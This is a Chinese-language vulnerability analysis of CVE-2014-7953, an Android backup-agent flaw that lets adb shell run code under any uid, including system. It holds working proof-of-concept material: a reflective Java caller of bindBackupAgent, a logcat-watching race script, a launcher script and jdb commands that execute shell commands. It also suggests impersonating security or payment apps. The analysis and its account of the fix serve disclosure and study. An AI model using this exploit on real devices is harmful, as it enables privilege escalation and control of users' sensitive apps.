ADB backupAgent 提權漏洞分析 (CVE-2014-7953)
0x00 摘要
CVE-2014-7953是存在於android backup agent中的一個提權漏洞。ActivityManagerService中的bindBackupAgent方法未能校驗傳入的uid引數,結合另外一個race condition利用技巧,攻擊者可以以任意uid(應用)身份執行程式碼,包括system(uid 1000)。本文對該漏洞進行了詳細分析,並給出了利用EXP。攻擊的前提條件是需要有android.permission.BACKUP和INSTALL_PACKAGES,而adb shell是一個滿足條件的attack surface。
0x01 背景介紹
BackupService是Android中提供的備份功能,在備份操作中,系統的BackupManager從目標應用獲取對方指定的備份資料,然後交給BackupTransport進行資料傳輸。在恢復備份操作中,BackupManager從Transport中拿回資料並傳遞給目標應用進行恢復。常見的場景是使用者應用的資料備份到Google Cloud,使用者在新手機上登入Google賬號時資料就被自動恢復回去。
當然想使用備份功能的應用必須實現BackupAgent元件,繼承BackupAgent類或者BackupAgentHelper類,並在AndroidManifest.xml中宣告自己,還需要向一個BackupService註冊。
在BackupManager進行備份或恢復時,其會以目標應用BackupAgent為內容啟動目標應用程式,呼叫其onCreate函式,以方便其進行具體的應用邏輯相關的備份和恢復操作。
0x02 漏洞成因
在上文的鋪墊之後,我們來看這個漏洞的成因。前面提到BackupAgent會在進行恢復時被呼叫,具體到ActivityManagerService中的bindBackupAgent函式:
#!java
// Cause the target app to be launched if necessary and its backup agent
12819 // instantiated. The backup agent will invoke backupAgentCreated() on the
12820 // activity manager to announce its creation.
12821 public boolean bindBackupAgent(ApplicationInfo app, int backupMode) {
12822 if (DEBUG_BACKUP) Slog.v(TAG, "bindBackupAgent: app=" + app + " mode=" + backupMode);
12823 enforceCallingPermission("android.permission.BACKUP", "bindBackupAgent");
12824
12825 synchronized(this) {
/*...*/
12833 // Backup agent is now in use, its package can't be stopped.
12834 try {
12835 AppGlobals.getPackageManager().setPackageStoppedState(
12836 app.packageName, false, UserHandle.getUserId(app.uid));
12837 } catch (RemoteException e) {
12838 } catch (IllegalArgumentException e) {
12839 Slog.w(TAG, "Failed trying to unstop package "
12840 + app.packageName + ": " + e);
12841 }
12842
12843 BackupRecord r = new BackupRecord(ss, app, backupMode);
12844 ComponentName hostingName = (backupMode == IApplicationThread.BACKUP_MODE_INCREMENTAL)
12845 ? new ComponentName(app.packageName, app.backupAgentName)
12846 : new ComponentName("android", "FullBackupAgent");
12847 // startProcessLocked() returns existing proc's record if it's already running
12848 ProcessRecord proc = startProcessLocked(app.processName, app,
12849 false, 0, "backup", hostingName, false, false, false);
12850 if (proc == null) {
12851 Slog.e(TAG, "Unable to start backup agent process " + r);
12852 return false;
12853 }
12854
12855 r.app = proc;
12856 mBackupTarget = r;
12857 mBackupAppName = app.packageName;
12858
12859 // Try not to kill the process during backup
12860 updateOomAdjLocked(proc);
12861
12862 // If the process is already attached, schedule the creation of the backup agent now.
12863 // If it is not yet live, this will be done when it attaches to the framework.
12864 if (proc.thread != null) {
12865 if (DEBUG_BACKUP) Slog.v(TAG, "Agent proc already running: " + proc);
12866 try {
12867 proc.thread.scheduleCreateBackupAgent(app,
12868 compatibilityInfoForPackageLocked(app), backupMode);
12869 } catch (RemoteException e) {
12870 // Will time out on the backup manager side
12871 }
12872 } else {
12873 if (DEBUG_BACKUP) Slog.v(TAG, "Agent proc not running, waiting for attach");
12874 }
12875 // Invariants: at this point, the target app process exists and the application
12876 // is either already running or in the process of coming up. mBackupTarget and
12877 // mBackupAppName describe the app, so that when it binds back to the AM we
12878 // know that it's scheduled for a backup-agent operation.
12879 }
12880
12881 return true;
12882 }
ActivityManagerService對外透過Binder暴露了這個介面,當然開頭就要求了呼叫者必須持有android.permission.BACKUP許可權,而shell是持有這個許可權的。bindBackupAgent最終會將傳入的攻擊者可控的ApplicationInfo傳遞給startProcessLocked,並最終透過scheduleCreateBackupAgent呼叫其onCreate函式。
而ApplicationInfo中的uid可以被任意指定,這是該漏洞的根本原因。
0x02 漏洞利用
但是想要利用這個漏洞還會遇到幾個關鍵的問題,需要透過其他方法來繞過。
setPackageStoppedState的許可權檢查
從程式碼中可以看到,在startProcessLocked之前會先呼叫setPackageStoppedState,將可能正在執行的目標package置Stopped狀態。這要求binder呼叫的發起者持有CHANGE_COMPONENT_ENABLED_STATE許可權,否則會丟擲SecurityException,終止函式執行。很遺憾這是一個系統使用者才持有的許可權,shell是沒有的,強行呼叫會拋如下異常:
但是可以觀察到的是,startPackageStoppedState在丟擲IllegalArgumentException時會被catch住,打一個log並繼續執行,那麼透過PackageManager安裝包時的race condition,或者說TOCTOU,可以打一個時間差。
一個猥瑣的步驟如下:
呼叫pm安裝包,在安裝過程中某個時刻呼叫bindBackupAgent。
startPackageStoppedState時,包並不存在,丟擲IllegalArgumentException被catch住並繼續執行。
startProcessRecord時包卻已經安裝完成了,以攻擊者指定的ApplicationInfo啟動。
正常的情況下,當包存在時,會是如下時序:
包不存在時,會是如下時序。此時process可以被建立出來,但會立即死亡因為找不到load的程式碼。極罕見的情況下可能會停留在FC對話方塊而可以利用。
TOCTOU利用時序圖如下:
這裡面關鍵點是打好時間差,例如可以擴大classes.dex的體積,增加dexopt的時間。在N7上測試成功的POC是透過指令碼監控logcat中Copying native libraries to,在此刻觸發bindBackupAgent呼叫,基本每次都能成功。
handleCreateBackupAgent的檢查
跟一下呼叫鏈:
#!java
public final void scheduleCreateBackupAgent(ApplicationInfo app,
658 CompatibilityInfo compatInfo, int backupMode) {
659 CreateBackupAgentData d = new CreateBackupAgentData();
660 d.appInfo = app;
661 d.compatInfo = compatInfo;
662 d.backupMode = backupMode;
663
664 sendMessage(H.CREATE_BACKUP_AGENT, d);
665 }
public void handleMessage(Message msg) {
//omit
case CREATE_BACKUP_AGENT:
1337 Trace.traceBegin(Trace.TRACE_TAG_ACTIVITY_MANAGER, "backupCreateAgent");
1338 handleCreateBackupAgent((CreateBackupAgentData)msg.obj);
1339 Trace.traceEnd(Trace.TRACE_TAG_ACTIVITY_MANAGER);
1340 break;
//omit
}
// Instantiate a BackupAgent and tell it that it's alive
2428 private void handleCreateBackupAgent(CreateBackupAgentData data) {
2429 if (DEBUG_BACKUP) Slog.v(TAG, "handleCreateBackupAgent: " + data);
2430
2431 // Sanity check the requested target package's uid against ours
2432 try {
2433 PackageInfo requestedPackage = getPackageManager().getPackageInfo(
2434 data.appInfo.packageName, 0, UserHandle.myUserId());
2435 if (requestedPackage.applicationInfo.uid != Process.myUid()) {
2436 Slog.w(TAG, "Asked to instantiate non-matching package "
2437 + data.appInfo.packageName);
2438 return;
2439 }
2440 } catch (RemoteException e) {
2441 Slog.e(TAG, "Can't reach package manager", e);
2442 return;
2443 }
//omit
2448 // instantiate the BackupAgent class named in the manifest
2449 LoadedApk packageInfo = getPackageInfoNoCheck(data.appInfo, data.compatInfo);
2450 String packageName = packageInfo.mPackageName;
//omit
2461
2462 BackupAgent agent = null;
2463 String classname = data.appInfo.backupAgentName;
2464
2465 // full backup operation but no app-supplied agent? use the default implementation
2466 if (classname == null && (data.backupMode == IApplicationThread.BACKUP_MODE_FULL
2467 || data.backupMode == IApplicationThread.BACKUP_MODE_RESTORE_FULL)) {
2468 classname = "android.app.backup.FullBackupAgent";
2469 }
2470
2471 try {![Alt text](./Screenshot from 2015-04-20 15:50:21.png)
2472 IBinder binder = null;
2473 try {
2474 if (DEBUG_BACKUP) Slog.v(TAG, "Initializing agent class " + classname);
2475
2476 java.lang.ClassLoader cl = packageInfo.getClassLoader();
2477 agent = (BackupAgent) cl.loadClass(classname).newInstance();
2478
2479 // set up the agent's context
2480 ContextImpl context = ContextImpl.createAppContext(this, packageInfo);
2481 context.setOuterContext(agent);
2482 agent.attach(context);
2483
2484 agent.onCreate();
2485 binder = agent.onBind();
2486 mBackupAgents.put(packageName, agent);
2487 } catch (Exception e) {
2488 //omit
2496 }
//omit
2508 }
2509
該函式的作用是在Package中尋找定義的BackupAgent類,如果不存在則以android.app.backup.FullBackupAgent代替,並執行其onCreate函式。
如果控制了程式uid為system,在onCreate函式放置我們的程式碼就萬事大吉了。但很遺憾開頭就有一個檢查,對比當前程式的uid(注意ActivityThread的程式碼是在被啟動package的程式空間內執行的,所以Process.myUid即是目標package的uid)和PackageManager在安裝時記錄的uid,不符合則log並退出。這就砍掉了改onCreate利用的想法。
但天無絕人之路,jdwp come to rescure. 程式和VM已經起來了,安裝包的debuggable flag又是攻擊者可指定的,那麼jdwp attach上去執行程式碼,就柳暗花明又一村。
0x03 喜聞樂見的shell...嗎
順利的話system身份程式已經啟動。
如果我們再去開啟測試應用,會看到兩個不同uid的同package程式並存,如下圖:
這裡會有兩種情況:
程式以system的uid啟動,但由於沒有例項化和呼叫onCreate,這個程式是個空殼。這是最常見的情況。
程式以system的uid啟動,出現一個Application Crash時的FC對話方塊。有意思的是某些罕見情況下直接訪問backupAgent介面就會觸發該對話方塊。
對於這兩種情況,attach上之後觸發的斷點也並不一樣。對於第一個來說,執行緒會block在nativePollOnce上,如下圖所示:
這種情況利用的一個關鍵因素是需要讓執行緒跳出nativePollOnce,也就是說需要讓其接收到一個訊息,然後才能下斷點執行程式碼, 但詭異之處就在於這時候起的程式是一個空殼,不存在GUI介面,常規的操作觸發和intent觸發都是沒有效果的,這豈不是強人所難?這裡就需要一個任何ActivityThread都會接收到的非GUI事件非元件的事件訊息並觸發它,才能跳出這個輪迴。透過某種猥瑣的方式,是可以做到這點的,讀者可以思考下哪些可以達到這個目的。
第二種則會因為異常捕獲斷在handleApplicationCrash上,這種比較好處理,直接下斷點即可。
總之我們利用intellij或者jdb作為載體,透過jdwp即可以system許可權或者以其他uid的身份執行程式碼。
附效果截圖:
system:
當然我們也可以變幻成什麼xx衛士啊,xx錢盾,xx付寶之類程式的uid,從而控制這些敏感應用。附xx衛士的截圖:
可以看到我們的應用已經和xx衛士是一個uid同床共枕了,接下來怎麼發揮就看諸君想象力了。
0x04 部分POC:
myapp:
#!java
public class Test {
public static void main(String []args)
{
test(Integer.parseInt(args[0]));
}
public static void test(Integer uid)
{
try {
Class ActivityManagerNative = Class.forName("android.app.ActivityManagerNative");
Method bindBackupAgent = ActivityManagerNative.getDeclaredMethod("getDefault");
Object iActivityManager = bindBackupAgent.invoke(null);
Method bindBackupAgentMtd = iActivityManager.getClass().getDeclaredMethod("bindBackupAgent", ApplicationInfo.class, int.class);
ApplicationInfo applicationInfo = new ApplicationInfo();
applicationInfo.dataDir = "/data/data/com.example.myapp";
applicationInfo.nativeLibraryDir = "/data/app-lib/com.example.myapp-1";
applicationInfo.processName = "com.example.myapp";
applicationInfo.publicSourceDir = "/data/app/com.example.myapp-1.apk";
applicationInfo.sourceDir = "/data/app/com.example.myapp-1.apk";
applicationInfo.taskAffinity = "com.example.myapp";
applicationInfo.packageName = "com.example.myapp";
applicationInfo.flags = 8961606;
applicationInfo.uid = uid;
bindBackupAgentMtd.invoke(iActivityManager, applicationInfo, 0);
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
}
}
}
將其編譯為jar並透過app_process執行。注意在myapp沒有安裝時直接執行會造成後續INSTALL_FAILED_UID_CHANGED錯誤,具體原因可參照我之前寫的denial-of-app分析。
監控py指令碼:
#!python
from subprocess import Popen, PIPE
import os
KW = "Copying native libraries to "
#KW = "dexopt"
os.system("adb logcat -c")
p = Popen(["adb", "logcat"], stdout=PIPE, bufsize=1)
with p.stdout:
for line in iter(p.stdout.readline, b''):
if line.find(KW) != -1:
print line
os.system("adb shell /data/local/tmp/test.sh 1000")
p.wait()
test.sh
#!bash
export ANDROID_DATA=/data/local/tmp/
export CLASSPATH=/data/local/tmp/MyTest.jar
app_process /data/local/tmp/ com.example.MyTest $@
jdb命令:
#!java
threads
thread 0xxxxxx
suspend
stop in android.os.MessageQueue next
run
print new java.lang.Runtime.exec("id")
0x05 修復:
Google對該漏洞的修復非常簡單,對bindBackupAgent介面校驗了FULL_BACKUP這個system級別的許可權,砍掉了最初的入口。
References:
- http://www.securityfocus.com/archive/1/535296/30/0/threaded
- http://www.saurik.com/id/17
- http://androidxref.com/4.4.4_r1/xref/frameworks/base/services/java/com/android/server/am/ActivityManagerService.java#12822
- http://grepcode.com/file/repository.grepcode.com/java/ext/com.google.android/android/4.2_r1/android/os/MessageQueue.java#MessageQueue.nativePollOnce%28int%2Cint%29
相關文章
- Windows PrintDemon提權漏洞分析2020-05-25Windows
- Windows核心提權漏洞CVE-2014-4113分析報告2020-08-19Windows
- Windows域提權漏洞CVE-2022-26923分析與復現2022-06-23Windows
- Potato家族本地提權分析2020-12-01
- CVE-2022-26923 Windows域提權漏洞2023-01-01Windows
- CVE-2022-0847 Linux DirtyPipe核心提權漏洞2022-11-23Linux
- CVE-2014-0038核心漏洞原理與本地提權利用程式碼實現分析2020-08-19
- Wordpress4.2.3提權與SQL隱碼攻擊漏洞(CVE-2015-5623)分析2020-08-19SQL
- VMware Tools本地提權漏洞CVE-2022-31676分析與復現(1)2022-09-14
- CVE-2016-0040 濫用GDI 核心提權漏洞2018-08-28
- windwos提權漏洞CVE-2023-21746復現(LocalPotato)2023-02-20
- Linux提權————利用SUID提權2018-05-23LinuxUI
- 重要預警 | Ubuntu 16.04 4.4 系列核心本地提權漏洞2018-03-20Ubuntu
- Linux 核心最新高危提權漏洞:髒管道 (Dirty Pipe)2022-03-16Linux
- Windows提權實戰——————3、PcAnyWhere提權2018-05-20WindowsPCA
- Linux提權-70種sudo提權彙總2024-08-29Linux
- windows提權--組策略首選項提權2024-07-31Windows
- Linux 提權2018-11-29Linux
- 本地提權2020-10-17
- Linux提權2024-08-07Linux
- Linux伺服器漏洞防護 可SUDO提權到管理員2019-10-28Linux伺服器
- 最新發現!Windows 11也受本地提權漏洞HiveNightmare影響2021-07-22WindowsHive
- Linux Sudo 被爆重要漏洞,允許黑客提權執行root命令2019-10-15Linux黑客
- 網站漏洞修復服務商關於越權漏洞分析2022-07-15網站
- linux sudo提權2024-08-20Linux
- Linux 提權-Capabilities2024-06-17Linux
- windows提權 (一)2024-07-26Windows
- mysql UDF提權2022-01-31MySql
- SQL Sever提權2021-06-22SQL
- Windows令牌竊取提權和爛土豆提權學習2024-08-03Windows
- Linux 髒管道kernel提權漏洞復現及修復(CVE-2022-0847)2022-03-11Linux
- Windows提權實戰——————1、IIS6.exe提權實戰2018-05-14Windows
- Linux提權————Linux下三種不同方式的提權技巧2018-05-16Linux
- Linux提權-許可權升級2023-03-11Linux
- Windows提權系列————上篇2018-05-13Windows
- Windows提權系列————下篇2018-05-13Windows
- Windows提權總結2020-02-21Windows
- Powershell 提權框架-Powerup2020-08-19框架